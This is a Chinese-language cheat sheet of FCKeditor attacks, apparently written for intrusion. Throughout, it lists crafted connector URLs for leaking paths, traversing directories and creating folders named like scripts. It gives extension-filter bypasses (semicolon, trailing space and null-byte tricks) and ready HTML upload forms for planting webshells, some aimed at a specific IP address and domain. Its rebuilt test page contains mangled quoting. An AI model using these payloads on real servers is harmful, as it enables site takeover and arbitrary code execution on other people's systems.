Fckeditor漏洞整理大全

1、查看编辑器版本

/fckeditor/editor/dialog/fck_about.html

2、爆绝对路径

FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php (php通杀)

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/aspx/connector.aspx (2.5可突破)

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp

3、遍历目录

/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=../../ (Version 2.4.1 测试通过)

修改CurrentFolder 参数使用 ../../来进入不同的目录

/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp

根据返回的XML 信息可以查看网站所有的目录。

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F

也可以直接浏览盘符：

JSP 版本：

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F

4、jsp上传

/FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/jsp/connector

/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

5、php版本<=2.4.2

在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址：

<form id="frmUpload" enctype="multipart/form-data"action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br><input type="file" name="NewFile" size="50"><br><input id="btnUpload" type="submit" value="Upload"></form>

6、下划线绕过上传

很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。试试上传1.asp;jpg

1、提交shell.php+空格绕过

不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件未测试。

2、继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。

7、突破建立文件夹

editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

8、test上传地址

FCKeditor/editor/filemanager/browser/default/connectors/test.html

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/connectors/test.html

FCKeditor/editor/filemanager/connectors/uploadtest.html

9、最古老的版本漏洞

我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！

10、browser上传

fckeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=../../connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

11、Sample上传

FCKeditor/_samples/default.html

FCKeditor/_samples/asp/sample01.asp

FCKeditor/_samples/asp/sample02.asp

FCKeditor/_samples/asp/sample03.asp

FCKeditor/_samples/asp/sample04.asp

12、本地构造test文件

<!–   
* FCKeditor – The text editor for Internet – http://www.fckeditor.net   
* Copyright (C) 2003-2007 Frederico Caldeira Knabben   
*   
* == BEGIN LICENSE ==   
*   
* Licensed under the terms of any of the following licenses at your   
* choice:   
*   
*  – GNU General Public License Version 2 or later (the "GPL")   
*    http://www.gnu.org/licenses/gpl.html   
*   
*  – GNU Lesser General Public License Version 2.1 or later (the "LGPL")   
*    http://www.gnu.org/licenses/lgpl.html   
*   
*  – Mozilla Public License Version 1.1 or later (the "MPL")   
*    http://www.mozilla.org/MPL/MPL-1.1.html   
*   
* == END LICENSE ==   
*   
* Test page for the File Browser connectors.   
—>  
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">  
<html xmlns="http://www.w3.org/1999/xhtml">  
<head>  
    <title>FCKeditor – Connectors Tests</title>  
    <script type="text/javascript">  
  
function BuildBaseUrl( command )   
{   
    var sUrl =   
        document.getElementById(‘cmbConnector’).value +   
        ‘?Command=’ + command +   
        ‘Type=’ + document.getElementById(‘cmbType‘).value +   
        ‘CurrentFolder=’ + encodeURIComponent(document.getElementById(‘txtFolder‘).value) ;   
  
    return sUrl ;   
}   
  
function SetFrameUrl( url )   
{   
    document.getElementById(‘eRunningFrame’).src = url ;   
  
    document.getElementById(‘eUrl’).innerHTML = url ;   
}   
  
function GetFolders()   
{   
    SetFrameUrl( BuildBaseUrl( ‘GetFolders’ ) ) ;   
    return false ;   
}   
  
function GetFoldersAndFiles()   
{   
    SetFrameUrl( BuildBaseUrl( ‘GetFoldersAndFiles’ ) ) ;   
    return false ;   
}   
  
function CreateFolder()   
{   
    var sFolder = prompt( ‘Type the folder name:’, ‘Test Folder’ ) ;   
  
    if ( ! sFolder )   
        return false ;   
  
    var sUrl = BuildBaseUrl( ‘CreateFolder’ ) ;   
    sUrl += ‘NewFolderName=’ + encodeURIComponent( sFolder ) ;   
  
    SetFrameUrl( sUrl ) ;   
    return false ;   
}   
  
function OnUploadCompleted( errorNumber, fileName )   
{   
    switch ( errorNumber )   
    {   
        case 0 :   
            alert( ‘File uploaded with no errors’ ) ;   
            break ;   
        case 201 :   
            GetFoldersAndFiles() ;   
            alert( ‘A file with the same name is already available. The uploaded file has been renamed to "’ + fileName + ‘"’ ) ;   
            break ;   
        case 202 :   
            alert( ‘Invalid file’ ) ;   
            break ;   
        default :   
            alert( ‘Error on file upload. Error number: ‘ + errorNumber ) ;   
            break ;   
    }   
}   
  
thisthis.frames.frmUpload = this ;   
  
function SetAction()   
{   
    var sUrl = BuildBaseUrl( ‘FileUpload’ ) ;   
    document.getElementById(‘eUrl’).innerHTML = sUrl ;   
    document.getElementById(‘frmUpload’).action = sUrl ;   
}   
  
    </script>  
</head>  
<body>  
    <table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0">  
        <tr>  
            <td>  
                <table cellspacing="0" cellpadding="0" border="0">  
                    <tr>  
                        <td>  
                            Connector:<br />  
                            <select id="cmbConnector" name="cmbConnector">  
                                <option value="http://zjmyjs.com/editor/filemanager/connectors/asp/connector.asp" selected="selected">ASP</option>  
                                <option value="ASP.Net</option’>http://zjmyjs.com/editor/filemanager/connectors/aspx/connector.aspx">ASP.Net</option>  
                                <option value="cfm/connector.cfm">ColdFusion</option>  
                                <option value="lasso/connector.lasso">Lasso</option>  
                                <option value="perl/connector.cgi">Perl</option>  
                                <option value="PHP</option’>http://zjmyjs.com/editor/filemanager/connectors/php/connector.php">PHP</option>  
                                <option value="py/connector.py">Python</option>  
                            </select>  
                        </td>  
                        <td>  
                               </td>  
                        <td>  
                            Current Folder<br />  
                            <input id="txtFolder" type="text" value="/" name="txtFolder" /></td>  
                        <td>  
                               </td>  
                        <td>  
                            Resource Type<br />  
                            <select id="cmbType" name="cmbType">  
                                <option value="File" selected="selected">File</option>  
                                <option value="Image">Image</option>  
                                <option value="Flash">Flash</option>  
                                <option value="Media">Media</option>  
                                <option value="Invalid">Invalid Type (for testing)</option>  
                            </select>  
                        </td>  
                    </tr>  
                </table>  
                <br />  
                <table cellspacing="0" cellpadding="0" border="0">  
                    <tr>  
                        <td valign="top">  
                            <a href="#" onclick="GetFolders();">Get Folders</a></td>  
                        <td>  
                               </td>  
                        <td valign="top">  
                            <a href="#" onclick="GetFoldersAndFiles();">Get Folders and Files</a></td>  
                        <td>  
                               </td>  
                        <td valign="top">  
                            <a href="#" onclick="CreateFolder();">Create Folder</a></td>  
                        <td>  
                               </td>  
                        <td valign="top">  
                            <form id="frmUpload" action="" target="eRunningFrame" method="post" enctype="multipart/form-data">  
                                File Upload<br />  
                                <input id="txtFileUpload" type="file" name="NewFile" />  
                                <input type="submit" value="Upload" onclick="SetAction();" />  
                            </form>  
                        </td>  
                    </tr>  
                </table>  
                <br />  
                URL: <span id="eUrl"></span>  
            </td>  
        </tr>  
        <tr>  
            <td height="100%" valign="top">  
                <iframe id="eRunningFrame" src="javascript:void(0)" name="eRunningFrame" width="100%"  
                    height="100%"></iframe>  
            </td>  
        </tr>  
    </table>  
</body>  
</html>

13、jsp上传

获得上传后保存路径:

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=/

上传路径:

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector

发现直接post FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=/

也可以上传:

<body leftmargin="0" topmargin="0">
<form 
action="http://****/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=/"
 method="post" name="form1" enctype="multipart/form-data">
 <input name="NewFile" type="FILE" class="tx1" size="30">
  <input type="submit" name="Submit" value="上传" style="border:1px double rgb(88,88,88);font:9pt">
</form>
</body>

进一步发现:

web.xml一般配置

 <servlet-mapping>   
          <servlet-name>Connector</servlet-name>   
          <url-pattern>/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector</url-pattern>   
      </servlet-mapping>  
    <servlet-mapping>   
        <servlet-name>SimpleUploader</servlet-name>   
        <url-pattern>   
            /editor/filemanager/upload/simpleuploader   
        </url-pattern>   
    </servlet-mapping>

对应的类名:

<servlet-name>Connector</servlet-name>   
        <servlet-class>   
            com.fredck.FCKeditor.connector.ConnectorServlet   
        </servlet-class>
  <servlet-name>SimpleUploader</servlet-name>   
        <servlet-class>   
            com.fredck.FCKeditor.uploader.SimpleUploaderServlet   
        </servlet-class>

ConnectorServlet 类的post方法上传时，没有做后缀检查，导致上传任意文件。

SimpleUploaderServlet 上传时后缀检查：

private boolean extIsAllowed(String fileType, String ext)
{
	ext = ext.toLowerCase();
	ArrayList allowList = (ArrayList)allowedExtensions.get(fileType);
	ArrayList denyList = (ArrayList)deniedExtensions.get(fileType);
	if (allowList.size() == 0)
	return !denyList.contains(ext);
	if (denyList.size() == 0)
	return allowList.contains(ext);
	return false;
}

//如果允许列表为空，则进入黑名单检查，而看了一下一般配置

<param-name>AllowedExtensionsFile</param-name>

<param-value></param-value> File的白名单为空，

黑名单列表：

<param-name>DeniedExtensionsFile</param-name>

<param-value>

php|php3|php5|phtml|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|dll|reg|cgi

</param-value>

因此，直接使用jsp.即可绕过在windows系统上当然不能重命名，否则就变成了没有文件后缀了，但需要尝试一下:

WEB-INF/classes/FCKeditor-2.3.jar 适合其它待测

<body >
<form action="http://219.140.162.16:8889/SimpleUploader?Command=FileUpload&Type=File&CurrentFolder=/" method="post" name="form1" enctype="multipart/form-data">
 <input name="NewFile" type="FILE"  >
  <input type="submit" name="Submit" value="上传" >
</form>
</body>

支持的命令

GetFoldersAndFiles

GetFolders

CreateFolder

FileUpload

有些时候上传后文件没有解析权限，因此需要利用fck路径可控，跳转到其它路径：

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=File&CurrentFolder=/../../netweb/detail/test.jsp%001d&

可以上传到其他路径一个test.jsp，此时返回的保存后文件名是错误的要注意…

FCKeditor/editor/filemanager/upload/simpleuploader?Command=FileUpload&Type=File&CurrentFolder=/

14、上传的文件路径

可以使用Google的Developer Tools或者是火狐的Firebug